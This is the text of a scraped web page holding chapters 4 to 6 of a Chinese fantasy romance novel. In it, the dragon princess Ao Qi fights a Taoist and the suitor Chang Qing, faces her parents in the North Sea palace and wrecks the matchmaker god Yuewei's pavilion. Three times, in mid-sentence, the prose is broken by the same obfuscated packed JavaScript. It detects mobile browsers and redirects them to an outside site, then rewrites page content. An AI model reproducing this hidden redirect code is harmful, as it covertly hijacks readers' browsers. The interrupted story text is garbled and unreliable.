电光火石间,一点微弱青光自弘清面前绽放,如涟漪春水,铺开一面薄而完整的圆弧水镜,挡住一切伤害。 感受到阻碍,敖祈瞬间睁开双眼,猩红的幽光在眸间闪烁不停,看清绿衫男子就是常青后面露惊讶:“你究竟是什么人?” 倒还有点本事。 清透的水镜刹那显出裂隙,寸寸碎裂,声音宛如冰雪消融。常青本身修为受损,本就是强弩之末,此前运气赶路,已经消耗了不少法力,能抵住敖祈方才这下进攻实属不易,现下更觉吃力,不禁双眉紧蹙,薄汗已起。 “快停手。” 而敖祈不费吹灰之力,抬手间红唇微启,自齿间挤出两个音节:“找死。” 常青强行催动法力,藤蔓一般的游丝在虚空中击中敖祈手腕,打断了她捻诀施法。 敖祈没想到半路杀出个多管闲事的,冲着他气急败坏:“你到底站谁那边?不想陪葬就赶紧滚。” 常青见她气焰正盛,赶紧收势,和颜悦色地摆手:“我这是在帮你。他一介修行道士,本就打不过你,你若真要了他性命,恐怕日后会有麻烦。” “哼,麻烦?什么麻烦?我堂堂的龙宫少主杀他一个妖道,能有什么麻烦!” 弘清见这两人争执起来,无暇搭理自己,赶紧连滚带爬地翻过正殿门槛,躲在门后不敢吱声,只是偶尔忍不住探出脑袋,窥视两人。 敖祈的眼神锋利如刀,偏头望向正殿时,吓得弘清嗖一下缩回门后,继续朝供案处匍匐。 “天道公允,若他当真十恶不赦,自有因果报应,不必你动手,可若你要了他性命,便有恃强凌弱之嫌,容易落人口实。” 常青这番苦口婆心,不无道理。敖祈虽然胡闹,但鲜少游历人间,就是因为知道人间不能自由随性。神仙下界对凡人动用法力,无论出于何种目的都算触犯天条,扰乱因果,都是会受到惩罚。 但这次情况特殊,她不得不插手。 乌云笼罩山丘,庭中的敖祈周身雷光震动,风起云涌,并无一丝犹豫和顾忌。 她眉眼冷得生寒:“天道若当真公允,就不该生出这般肮脏鼠辈,待我杀了他,替天下有情人讨回公道。届时如何惩处,我自去三十三重天领受。你若还敢拦我,同他一并处置。” 4. 第 4 章 牵缘观的上空乌云密闭,敖祈凌空而起,对准弘清并指捻诀,身旁的佩剑悬于空中嗡鸣不止,随即化作一束光刺了出去,势如破竹。 刹那间,血光四溅。 雷声、风声、剑的嗡鸣声,悉数皆停在正殿门前。一袭松绿长衫突然出现,挡下所有。敖祈未曾预料,当即怔然。 常青拼尽全力才勉强挡下这一剑,身前防护碎裂的瞬间只觉全身修为都在体内胡乱涌动,死命地绞着五脏六腑生疼,一时血气上涌,竟一口血水喷了出来。 空中的蓝鸟啁啁嘶鸣,忧心不已,正欲靠近却对上他抬眸间一个眼神,无奈只好乖乖绕了一圈,又飞回远处。 “里面那妖道是你什么人,要你舍命救他?”敖祈怒极询问,连腰间玉佩的异动都未能察觉。 常青却不言不语,低头拔出右肩插的长剑,面色痛苦地抬头,他一步步向敖祈艰难走近,一步接一步,突然脚边炸起一星火花。 他低头瞥了一眼脚下那块砖石,已经碎得不成样子还冒着丝丝缕缕黑烟,下一秒他却仿佛什么也没发生过似地又坚定迈出下一步,抬眸望向敖祈时,故意面带痛楚地笑着:“娘子,我是在救你。” “住口!谁是你娘子!” 她愤而召回佩剑,指尖旋转,锋利的剑尖又直逼常青眼前,他身形一晃,连着后退两步,踉跄站稳。 仍不死心地劝道:“娘子不认我也罢,想要我的命也罢,只求放过里面那个道士,他伤成那样,不死也难活多少时日,干脆就放任他自生自灭吧。” “我可一天、一个时辰也等不了,他今日必须死。” “我本无家可归,又曾遇人不淑,幸得娘子出手相救得以脱离苦海,若娘子要常青性命,小生绝无二话。可是娘子心怀正义,必不会是弑杀无辜之人,如今打也打过了,娘子何不如宽宥一次,让那道长引以为戒,洗心革面呢。” 说完,常青自觉地合上双眼,等待受裁。他适才殿前挡剑的那一下伤得不轻,伤口还在汩汩淌血,鲜血染透右肩,顺着衣袖滴在地上,一滴又一滴。 敖祈手中剑诀略有迟疑,片刻后,闪身出现在他面前,收剑入鞘。 她倾身贴近常青,近到呼吸可闻,目光一动不动停留在他白皙的脸上,直至他睁开双眼也没有回避,四目交汇时敖祈试图从中看出他心底真实所想,岂料除了愉悦,并无多余情绪,仿佛于他而言,这不是剑拔弩张的对峙,倒像两个有情人在含情脉脉地对视。 意识到这点时,敖祈像被烫到了一样,猛地偏头看向一侧。恰好此时,一只鸟迎面冲了过来,坚硬的喙部结结实实啄上她脑门。登时一阵钻心痛,敖祈捂紧额头,顺着额角摸向两边显现的龙角,赶紧运气化形收回去。 常青笑意尚在,看到这一幕,口中情不自禁发出一声短促的惊呼,而后笑着伸手要替她查看伤势如何,却被敖祈飞快抬手拨开了。 “笑什么笑。”她挪远一步,与他拉开距离,一松手便露出眉心的红印子,恼道,“还有,别再叫我娘子,我可没答应做你娘子。” 也许是尴尬,也许是嘲笑,总之他唇角扬起的弧度不减,还没有丝毫言语,让她心头火大。狠狠瞅了他一眼,反手就将空中那只还没来得及飞远的鸟捆住。 蓝鸟无法振翅飞翔,瞬间从半空开始下坠,好在落地摔死前被常青及时接住。 “给我。”敖祈见状上前朝他伸手,“这不长眼乱飞的家伙,定是故意的,我要折了它的翅膀。” 常青看着掌心被五花大绑的蓝鸟拼命挣扎,用手指轻轻点了点蓝鸟额头柔软的绒毛,以示安抚,在敖祈作势要抢之前就手指合拢,握着蓝鸟藏到身后。 “一只普通的天堂鸟而已,你看它吓得直哆嗦,自是没有胆量的,不如娘子先消消气,待会儿我替你教训它,先让我瞧瞧伤得如何?” “我看你们是一伙儿的。”敖祈冷笑一声,眉眼压低,眨眼间指尖凝聚起灼灼红光,“不管你是什么人,今天都别想从我手里逃走。” 眼看火光离常青越来越近,他试了几次,却半点法力也施展不出,只好两只手紧紧捏住蓝鸟,护在怀里,免得被它从掌心逃脱。 然而预料当中的疼痛没有来临,一睁眼,反而正巧看见一只鸟被敖祈用法力刨开肚子。 准确来说,那不能算作一只寻常的鸟,而是有翅膀的鱼。早就听闻,东海有一种叫做文鳐的鱼,鳍长如翅,可水中遨游,亦可空中滑翔。常青直勾勾望着那条破了肚的鱼,脸上是从未见过的兴奋和好奇,他更想不到,还能拿它用来传信。 敖祈神情严肃,将文鳐鱼从地上拾起,鱼肚中乖巧地滑出一条锦帛,展开便浮现出几行字。隔着几步距离,他并不能看真切,只看到敖祈脸色红一阵绿一阵,说不出是什么心情,但总归不会是好事。 毕竟,她看完抬手销毁一切,用眼神恨恨剜了他一眼,二话不说便化作一缕红烟消失了。 当然也不是什么都没留下。离开前,敖祈特意打晕常青,朝正殿抛了一簇火苗,很快大火迎风而起,吞噬了整座寺庙。 蓝鸟早在被常青护在身后时便找机会挣开束缚,此时浓烟四起,它奋力从手心中钻出一丝空隙,跳到地上,幻化成青年男子的模样,将常青叫醒。 此时的寺庙火光冲天,正殿的门前已经快被火势淹没,灼热的气浪吓得常青脸色惨白,半天不敢靠近。 “原来恩人还是怕火的,可刚才对上敖祈怎么不见恩人躲呢?” 寻飞走在前头嘲笑他,猛一回头对上冷冽如刀的眼神,瞬间收敛,灰溜溜地埋头冲进去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15294621|167091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 待二人在塌了一半的房梁下找到弘清道长时,他已经被熏晕了。烈焰燃燃,火舌无情地卷上帷幔,灰烬和浓烟呛得二人连连咳嗽,眼睛也睁不开。 完全没注意到大殿神像前的供案上,刚点燃的香闪烁着几点不起眼的猩红。白烟袅袅上升,直入云霄。 弘清被寻飞扛在肩上逃出火海,颠簸中迷迷糊糊睁开眼,口中小声念叨着什么。 常青用袖子捂着口鼻,贴耳凑过去问:“你说什么?” “祖师……传信祖师……” 弘清没说完,彻底被熏晕了过去。 好不容易到了宽敞的庭中,寻飞独自将所有人转移到火势蔓延不到的安全区域内,一个挨一个横七竖八地铺在地上,常青站在旁边一眼望去,那场面别提多壮观了。 搬完最后一个,寻飞屁颠屁颠跑过来:“都安置好了恩人,放心,一个都没死,我挨个探过鼻息了,保证没漏。” 常青点点头,转身下山。 “走吧,她的气味越来越淡了。” 常青这是在说敖祈已经走远,再不追上就要跟丢了。寻飞呆在原地,歪头看恩人的背影,脸上全是不满。 直到常青的背影一步步从山阶下沉,就快看不到了,他才轻轻扑打了两下落在身上的灰,快步跟上去埋怨:“我果然没说错,她就不是什么好人,肯定不会收留你的。恩人为何偏要心悦于她,我看咱们还是……啊!嘶……” “恩人干嘛拽我羽毛?” 常青将羽毛藏进袖中,温柔的语气中隐约透着责备:“叫你多事,不是跟你说了飞远点。” 寻飞听出来这是在说他心急去撞敖祈脑门那件事。 他把头耷拉下去,捂着翅膀,弱弱地说:“我那不是怕她再伤你嘛,本来只是想让她分神,谁知道她突然转过来,我一下没刹住……” “她不是那样的人。” “不是哪样的人?” 常青没再回答,替敖祈说完好话后,眼神沿着台阶向下延伸到逐渐失焦,也不知回忆起了什么,唇边抿起一条弯弯的弧线。 寻飞撇了撇嘴,跟在后头一蹦一蹦地不解追问:“恩人为何如此肯定?难道就因为她救了珍珠姑娘,打跑姬公子,她就是心善的好人吗?可那是您出主意让珍珠姑娘在江边哭泣等人路过,根本没想到她会寻死,就算当时没有旁人,您也会出手救下她的。” “恩人你别光笑不说话啊。” “哎等等我恩人,”寻飞摇身一变,宽敞的袖子变成一双翅膀,飞在常青头顶询问,“可是现在都不知她去哪儿了,咱们怎么追啊?” 常青始终沉默不语,缓步踱至山下河畔时,望着东流而下的江水轻笑,慢悠悠说:“天下的水总归于一处,五湖四海,总能交汇。” 5. 第 5 章 自天地开辟,上升为清气,诞神族;下沉为浊气,生妖魔;人间分陆地海洋,滋养万物。但天地万物自有其规律,滋养万物的同时也处处暗藏危机。 天无以清将恐裂,地无以宁将恐废。凡人和寻常飞禽走兽身无法力,手无寸铁,只要十几天不下雨或是暴雨不断,都会对他们造成毁灭性的打击。于是各路神仙遵天道,领天命,各司其职。 上古神兽之一的龙族,因能御水腾雾、施云布雨,奉天帝神谕,镇守四海,自此久居深渊水底,司掌人间的江河湖海不再泛滥、枯竭,以致生灵涂炭。 其中最大最寒冷的北海凌渊墟由敖煜敖闯夫妇盘踞,二人育有一子两女,敖祈便是她们最小的女儿。 生来性情乖张,叛逆张扬,惹祸生事不在话下,不光龙宫里的神官们怕她,千万里海底中,上到闲散神仙,下到妖兽,没有不怵她的,就连安分守己的海龟都因常被她当成球一样戏耍,而登门告状。为此北海二位龙主没少忧心。 “你看她这次回来我不扒了她的皮!” 龙宫正殿里回荡着敖闯这一声咆哮,敖煜端坐中间,尴尬而无奈地看着敖闯反复起身、坐下,激动到脸红脖子粗,气到龙角冒烟。 龙冠玄衣,端坐殿内,敖煜不言语时整个人华贵威严,眉间却是慈悯的忧色。 “好啦,你就不能等祈祈回来问清楚再说,更何况她若真有个闪失,你舍得?” 她拉着敖闯的衣袖让他坐下,表面说和,实则在心里暗嘲,以小女儿如今的修为,他还不一定打得过呢,只是碍于有外人在场,不好当面拆台。 常青自从被二少主敖冉带回来后,向二位龙主讲述事情经过,到现在他一直沉静端坐于正殿,神色淡然,气定神闲。 忽然,袖口里藏着的羽毛轻轻抚过他手腕内侧,传来只有常青能听得见的频率。 “怎么样怎么样?恩人你还活着吗?见到龙王了吗?” 寻飞当初就不同意恩人跳江这馊主意,可常青一再坚持,说什么此处江水最终能汇入东海,若能引血散开灵力,定能招来龙族,介时就有机会见北海二位龙王。 现在江面碧波荡漾,最初浮上来的血水须臾间一丝也看不见了,急得寻飞在岸边,拼命用意念传音呼唤。 如此尝试几次,突然头顶翘起的几根羽毛在无风中摆动,寻飞立马领会这是恩人的回应,欣喜若狂,阖眼凝神聆听,却只得一句。 “在牵缘观山下等我。” * 殿内敖煜终于获得清静,开始有心思从旁悄悄打量常青。 他一袭松绿色素袍,眉眼清隽柔和,宛如谪仙,只是可惜样貌虽好,法力却很低微,要是他真愿意陪在祈祈身边,也不知道要受多少欺负。 可这份沉稳机敏也实属难得,真要他和祈祈那个莽撞性子搭在一起,难说究竟谁会吃亏。以防万一,还是不能轻信他一面之词。 似乎是察觉到目光,常青偏头看过来,正对上敖煜视线,他处变不惊,还以微笑,忽然起身。 温声道:“晚辈还是先行一步吧,少主她定是不愿见我。” “莫急。”敖闯抬手劝阻,“此事乃我们龙宫对不住你,小女还要多亏有你才没闯出大祸,你就安心待在龙宫,把伤养好再走。” 常青听后连番摇头说着“愧不敢当”,但心里的成算和欢喜无人可知。 两人刚说完,就听殿外响起一阵久违的喧哗,龙宫内外众人闻声而动,皆神情戒备,动作紧张。 原来是混世魔头回来了。 殿内还没见到人影,便听敖祈吼声:“敖冉!你给我松开!从小到大你就会这招,敢不敢把我放开,咱们单挑!” 她两只手臂被紧紧捆在身后,腰身上的枷锁坚韧异常,正如寒冰般冒着雪白的霜雾,她此时就像条海虫一样左右扭动。 提着她回来的正是北海二少主敖冉,她也不惯着妹妹,见父王母后脸色铁青,手中力道加重,绑在敖祈腰身上的寒冰枷锁瞬间收紧了许多,箍得她拼命挣动,一时没了力气说话。 挣动间敖祈余光无意瞥见殿中坐席,顿时愣住,她惊讶地眨巴着一双细长灵巧的眼睛,盯着常青一动不动。 “你怎么在这儿?” “你看看!你看看!”敖闯原本还攥紧拳头等敖煜发话,闻言登时暴怒,站起来指着小女儿,扭头朝妻子说,“她果然认识!我就说哪一次人家找上门来,是冤枉了她!还有什么好解释的。” 敖煜揉揉右侧耳朵,偏头朝常青尴尬一笑,有时候真的不想承认承认敖闯和她是夫妻。无比庆幸的是,好在当时没有让步,才让敖闯狠心离开西海的兄弟,入赘她北海龙宫,如今在外人面前说起来,她也不算太跌面子。 敖闯这人她最了解,嗓门比谁都大,但心地比谁都软。 小女儿从小偷了他不计其数的宝贝出去惹是生非,比起生气她屡教不改,他更担心的是她不知天高地厚,倘若日后有什么麻烦,他们这龙宫之主的身份恐怕护不住她。就算最后气得胡子眉毛都要燃起来了,也不见得真的动孩子一片鳞。 常青礼貌的微笑下也暗藏惊讶,毕竟敖闯就这么阻挠了他回答敖祈的话,看来父女二人都是一样的急性子。 敖煜清了清嗓子暗示敖闯坐下,转头表情严肃地问:“祈祈,你真的认识他吗?” “认识啊。”敖祈还没意识到事情的严重性,边回忆边随意答道,“他叫常青,原是扬州王城里……一个被恶人霸占的男宠,还是我给救了出来的呢。” 说完唇边漾起一抹骄傲笑意,然而敖闯听到这些后两眼一黑,一下子就从座位上弹跳起身,直直冲过来。 “好你个逆子!亏你也敢承认!你不好好在南禺山练功,竟敢跑到凡间惹是生非!” 敖祈不满,眉心拢起:“这有什么不敢承认的?我敖祈明明是替天行道,救了无数被恶人霸占的凡间男女,哪里惹是生非啦?” “你还敢说!救人是这么救的吗?” 循着敖闯手指的方向看过去,正好和常青对上视线。他正一脸无辜地站在敖煜身旁,肩膀上被自己刺中的伤口不再淌血,看起来已经处理过了,只是整个人面色还是憔悴得很。 见敖祈看向自己,常青强打起精神,瓷白的脸上浮现起喜悦,被敖祈转眼瞥过,不再多看。 “是他不明就里非要跟着我,还要帮那个妖道说话,说不定他们都是一伙儿的。我杀了那妖道,烧了庙观,他现在还有本事找到这里,定是别有居心。父王你怎么不问他,光说我的不是呢?” 见敖闯扑来,敖祈转身就绕到姐姐身后呛声。 两人就当敖冉是根柱子似的,围着绕了一圈又一圈,就连敖煜看得都眼花缭乱,脸色越来越难看,敖冉却能抱臂站在原地挺拔如松,岿然不动。 而当事人常青仿佛事不关己,还能安静站在一旁,看戏似地噙着笑,一路眼神追随敖祈,一圈又一圈,从绕着敖冉到殿内各处,不厌其烦。 “常青那是投江自尽、寻死不成,被你姐姐救回来的!你不思己过,还想冤枉别人!幸亏人家拦住你杀人,不然就酿成大祸啦!” “好端端为何要寻死?我都帮他脱离苦海了,还有什么想不开的,定然是他的计谋!说出去谁会相信?哪有好人报恩是以身相许的,被我救下的那些姑娘和她们的父母当时都只是要给我跪下来磕头而已。” “我给你跪下好不好哇?” 话音刚落,龙宫正殿内安静到连气泡的咕咚声都听不见。 敖闯怒不可遏,但面对接下来安静无声的大殿总觉得少了些什么,下意识回头寻找敖煜,却只见常青挡住视线,绕上前来。 “龙王、三少主,我想你们一定是误会了,我不仅是为了报恩,也是真心倾慕敖祈,只是在得知三少主并无此心后,又苦于漂泊无依,万念俱灰下才想了却残生。”他抿唇顿了顿,似是犹豫,“常青人微命贱,亦有自知之明,绝不会缠着三少主不放。” 他一本正经表白完,全场再次陷入死寂。 最先反应过来的还是当事人敖祈。 她睁大双眼对着他大喊:“你定是在姬府被折磨成傻子了,连爱恨都分不清楚,还敢说倾慕于我,天底下救人的那么多,难道你都喜欢?你都要以身相许?我不过是随手救了人,并不为求报答。况且你还中了我一剑,你为何不记恨我?” 说完,余光注意到站桩的二姐,敖祈又补一句:“对,这么说来我二姐才是真真正正地救了你一命,你怎么不去报答她?” “不不不,”一向傲然冷淡的敖冉突然站不住了,连忙摆手,“我一心修炼,忙于政务,如今还要帮东海处理杂务,实在抽不开身,没有闲情雅致搞那一套哈。不用报答,不用。” 她真是怕了这混世魔头,真不嫌乱。 常青自始至终旁若无人地垂眸注视着敖祈,眼眸中闪动着化不开的情绪。 突然悠悠开口:“你让我自由,这就比什么都重要。再说,你并非有意要伤我,为何要记恨你。” 见他冥顽不灵,敖祈震惊到红润的嘴唇翕张,心里已经认定此人脑子坏了,但她倒不后悔救过他,毕竟看他这简单的脑回路,想来从前过得并不好。 “算了算了,就当是我替天行道该受的报应,懒得同你多说。” 然而一旁的敖闯根本坐不住,他抓住敖祈教训:“人间自有人间的规矩,用得着你替天行道。你毁庙杀人,坏了月微仙君的香火,人家差点要上告到天帝那儿去,要不是我与你母王接到消息,替你揽下责任, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15294622|167091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你现在就不是被绑到龙宫这么简单啦。” 敖祈想起那个白胡子老头儿就更气不打一处来,甩脸说道:“让他去告!我才不怕!月微那个老头最该来谢我,反倒不知好歹地打小报告。天道要是真有用,那些恶人就不会等我出手了才被收拾。” “你!逆子!打伤凡人,你还有理了!” 敖闯双手结印,掌心立马汇聚起一团汹涌旋涡,殿内空气因此躁动起来,仿佛有湍急水流从四面八方奔涌而来。 见情况不妙,敖冉最先变了脸色,赶紧施法解开妹妹身上的寒冰枷锁,可是刹那间瞬息万变,敖祈没等上半身的禁锢解除,转动手腕,微光在指尖凝聚后忽闪两下,召出佩剑在身边嗡鸣不止,这下更激怒了敖闯。 他眉心抽搐,手心凝结的旋涡越来越大,越来越急,仿佛能淹没一切。 照往日流程来看,敖煜多半要站出来调停的,可敖冉静待片刻也没见母王有要起身的意思。 眼见情形不对,她也拿不准母王的心思,满心焦急之下,担心妹妹真的有个三长两短,敖祈一向面无表情的冷脸终于有了一丝急切,正欲上前阻止却被敖煜拦住。 敖闯生怕此事若轻饶了她,日后还会去凡间管不该管的事,心中腾然而起一股怒火。 敖祈自是无所畏惧,甚至下一秒寒芒直抵敖闯身前。 那场面直叫一个父慈子孝。 敖冉不明白母王为何一反常态地观望,许是月微仙君真的说了什么严重的话,让人心生不安,只能从旁好言相劝:“妹妹,快别犟了,向父王认个错,咱们好好说话。” 此前东海龙王染疾,她受邀替母王前去探望,顺便被舅父留下来在东海帮忙。 偶然间察觉到妹妹的气息,还以为又是偷跑出来玩闹,没成想出来一查看,竟是一男子坠入水底,周身鲜血浸染水域,招来许多鱼虾。 再一探心脉,法力低微,身负重伤,最奇怪的是妹妹的气息皆来源于他。 敖冉不想惊动舅父,就没有声张,先将人带回了北海治疗,打算等醒了再问缘由。 谁知道北海龙宫里早就炸开了锅,月微仙君给四海龙王都发了帖子,质问是谁砸了凡间供奉他的庙观,帖子上红衣龙族的信息直指敖祈,将敖闯气得发了好大一通火,敖煜已经命人传信敖祈,叫她回来,再见这位名叫常青的男人,二位龙主更是怒不可遏。 牵扯上三十三重天不是小事,但其实敖祈不太明白,常青这人看起来无甚大用,虽说幸亏有他才没让妹妹酿成大错,害他身受重伤更是不该,但他所言所行实在无赖,着实可疑。 男女情爱之事她也还没开窍,只觉既然不能两厢情愿,也该好聚好散。做神仙的嘛,千万年的寿命,并不拘泥于白首偕老,像父王母王这样千万年恩爱如初,共治北海的神仙眷侣只是少数。甚至大多数神仙只有更宽广的向往和追求,一心增进修为,无心情爱,比如敖冉自己。 “我没错,是那些人该死,我杀人是为了救人!” 敖祈不服气地瞪着敖闯争辩,他也是在气头上,谁也不肯先服软,就只能硬碰硬。 “不知悔改!” 风声鹤唳间,只见万流争先,声势浩荡,却止于一瞬。 谁都没注意的角落里,常青不顾自身安危,突然冲过去,挡在敖祈身前。 他那点法力哪里是敖闯的对手,只见眼前划过微弱柔和的青色光芒,挡在敖祈身前的男人就整个瘫软下去,单膝跪在地上,嘴角溢出血丝。 “好险……”常青唇边浮起一抹虚弱的笑意,而后合上双眼,身体也跟着缓缓向下滑去。 “常青。” 身后的敖祈一把接住,让他靠在自己怀里坐下。 敖煜没料到他会阻拦,根本没注意他何时过去的,赶紧上前施法护住常青心脉,渡一些法力稳住伤势。 再抬眼,敖祈完全愣住,周身雷光闪动不灭,掩盖了腰间玉玦的异样。见玉玦明灭躁动,敖煜神情一怔,低头蹙眉看向常青,他已经晕了过去,面色惨白。 “快叫医官过来。”敖闯吩咐二女儿,转头又对小女儿甩袖说道,“你就在北海住一段时日,好好收一收性子,省得到处惹是生非。” “那我师父那边怎么交代?” “呵笑话,你眼里都没有我们,竟还有你师父?” “你这话什么意思?”敖祈气冲冲仰头,“方才打伤他的还是你呢,怎么不见你愧疚,反倒教育起我来了!” “都别吵了。”敖煜忍无可忍,厉声打断。 殿外传来急切的脚步声,却不是敖冉,一个负责传唤的青蟹小将急匆匆横着进来,拱起蟹钳:“不好了,月微仙君说三少主拆了红鸾阁,还毁了红线谱,现在要问咱们拿人,去见天帝。” 6. 第 6 章 时间回到火烧牵缘观前,敖祈收到龙宫命她回去的消息,她二话不说,转头先去了趟三十三重天。 “不、不、不好了!不好了!” 一圆脸仙童急匆匆冲进红鸾阁内正殿,神色焦急又慌张地在阁中转了一圈,终于在窗边找到那道红衣白发的身影。 “大大事不好啦!仙君您……” 仙童边跑边喊,快到月微仙君跟前时脚下一个不留神,眼看身子前倾,双手抱头,就要跪扑在地,幸亏月微眼疾手快,衣袖轻轻一挥就延伸出千丝万缕的红绳,牢牢缠住仙童双臂,将其稳稳扶起。 “慌慌张张,不成体统。”月微再一挥手,红绳迅速缩回,与其红袍融为一体,“长生啊,你说你都跟了我两百多年了,怎么还这么毛毛躁躁的。” “沉稳,沉稳一点。” 见徒弟低眉擦了擦汗,憨笑着点头称是,月微仙君满意地捋了捋胡须,这才不紧不慢地开口:“说吧,什么事啊?” “仙君您的庙被砸了。” “什么?!” 月微仙君一声吼,整个红鸾阁都静下来。 仙童又认真详细、一字一顿地重复了一遍:“凡间,扬州,供奉仙君您的庙,被砸了。” 对面月微的嘴已经缓缓张大,两只眼睛瞪得溜圆,震惊地看着徒弟拱手向自己汇报,好像在说一件稀松平常的小事。 可这绝不是小事啊,简直闻所未闻,见所未见,恶劣至极。 他堂堂一个掌管凡间姻缘的神仙,虽不像福、禄、寿、财那样人见人爱,可也绝不是什么犄角旮旯里不受待见的扫把星,每天兢兢业业牵红线、谱红缘,累得他眼睛都要花了!好端端竟然有人敢毁坏供奉他的庙宇,断了供奉他的香火!这与上门打脸何异,简直欺神太甚!目中无神! “谁干的?我问你谁干的?!” 月微仙君气到声音打颤,两边袖子不住抖动,他定要看看是谁,不知天高地厚,敢惹到他头上来。 长生低着头认真回想,方才那盏香火传信,好像是有提到寻衅之人的名字,龙什么来着? 再一抬眼,自家仙君刚才还说要“沉稳”,此刻却连胡子都要气歪了,衣袍上的红绳飒飒抖动,发出阵阵威压声。 不多时,红鸾阁内气氛凝滞,月微仙君写完帖子就一脸严肃地端坐案前,等待着什么。 长生站在一旁躬身说道:“仙君,北海二位龙王在龙族中声望最高,况且我听说那敖祈本就是混世魔头,不服管教,咱们是不是就这么算了,不与龙族为难?” “算了?哼,就这么轻易算了,我的面子往哪放。既然是她们女儿闯了祸,龙王有失管教,合该亲自登门向我赔罪,再谈……” “不用别人。” 一道清亮飒爽的声音自云阁之上传来,掷地有声。敖祈没走阁中正门,直接从阁楼顶中围成的天井飞身而下,红衣道袍在风中翻飞,猎猎作响,转眼间旋身落地,站在长生和月微仙君面前。 “我敖祈一人做事一人当,不用旁人替我请罪。”她下巴一抬,语气也跟着上扬,整个人看起来桀骜不驯。 月微眯着眼还没看清敖祈的脸,长生就激动地指着她:“仙、仙、仙君,就是她。” 月微仙君缓缓起身,撇开弟子,从案前走出来,不满道:“不走正门不遵礼数,这就是你请罪的态度?” 他上下打量敖祈,一袭红衣,鼻梁高挺,眉目凛然,狭长的眼尾微微上扬,双眸中满是不服,心里更窝火。 “谁说我是来请罪的,”她挑眉坏笑,转身在阁中一排排书架前晃悠,“我是来看看,谁在这红鸾阁中玩忽职守,不为人间福祉竟然助纣为虐,我帮他肃清门户也不说感谢,还好意思忘恩负义,反咬我一口。” “你指桑骂槐谁呢?” “指你骂你怎么了,我说错了吗?不就是你跑去北海告我的状。” 敖祈此刻负手执剑,背对着他,停在亮有“扬州府”字样的书架前许久,似乎在努力搜寻什么,不曾回头看月微仙君一眼。 “好哇,论资排辈,我好歹是你前辈,又掌神职,你竟敢如此不敬。” 月微显然没料到这个仙家晚辈有胆子直接上门挑衅,真是将他的脸面按在地上揉搓,这要是不速速拿下,真就把他当成是泥捏的了!以后别说在天界,就是小小龙族都能骑到他头上了。 想到这些就咬牙切齿,反手一挥。 千万根红线就从袖中蜿蜒飞出,在空中扭曲缠绕成无数股粗壮的绳。 敖祈感受到背后的风起云涌,第一时间将书架中找到的那本姻缘册揣进怀里,随后旋身闪过,执剑斜劈几下,漫天就飘起红絮。原本声势浩大的一场包围,瞬间瓦解。 月微发现小瞧了她,更加气不过,立马拿出浑身解数。更多的红线丝丝缕缕迸发,蜿蜒并进,直扑敖祈每一个腾空之地。 “好你个小气老头,没完了是吧。” 见这些烦人的线怎么也甩不掉,敖祈嘴角勾起邪笑,瞬间有了点子。 她故意引这些追缠她的红线在阁中六角之间快速移动,每经过一根柱子都要特意环绕周围,多转几圈,如此反复,再逐渐向阁中央靠近。 很快密密匝匝的红线纷乱难缠,宛如打了个巨大的平安结,将宽敞整洁的红鸾阁正殿装饰成盘丝洞,最后连月微都感到眼花缭乱,不对不停下来。 他轻蔑地笑看四周:“别以为我抓不到你,敖祈,你现在出来乖乖认错,助我重修庙观,咱们一切好说。” 然而阁中寂静无声,无人搭理。 月微看着到处被红线包裹,终于在一处角柱与书架之间发现动静。一个巨大如蚕茧的红色物体正从内部挣扎涌动,周围地上到处都是碎散的红絮和绳结。 月微悄声靠近,静静盯着那处观察良久,看出里面的人挣扎不脱后心下愉悦,走过去的脚步也轻快:“敖祈你就束手就擒吧,别挣扎了。怎么说好歹我也是个神官,拿捏你还是……” “长生?!” 红色的“蚕蛹”中透出一块衣服布料,月微定睛一看就发现不对,被困在里面出不来的正是自己那笨蛋土地,长生。 “快快快,快出来,怎么是你在里面,敖祈呢?” “你姑奶奶我在这儿呢。” 正殿中整齐的书架一排排倾斜倒塌,敖祈破空而起,脚下上好的万年书架碎成残破木头,其中分门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15294623|167091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别类摆放好的姻缘册散落一地,狼藉不堪。 她得意极了,手腕翻转,收剑入鞘,轻轻一跃便落到月微跟前。 他这下是真的慌了,长袖振振,指着她威胁:“原先我念及你年纪小不懂事,尚可宽恕,若是你连我这红鸾阁都敢拆,我、我跟你没完我,告到天帝那里去!” “明明是你先动的手,怎么还敢耍无赖。”敖祈白了他一眼,从怀中衣襟拿出一本姻缘册,拍在月微仙君胸脯上。 那是她好不容易找到的,记录凡间扬州城所有人姻缘的册子,要知道南禺山藏书洞里师父珍藏的剑谱她都懒得翻,这么快就找到这一本,可是下了大功夫的。 “呐,我说哪个,你改哪个。” 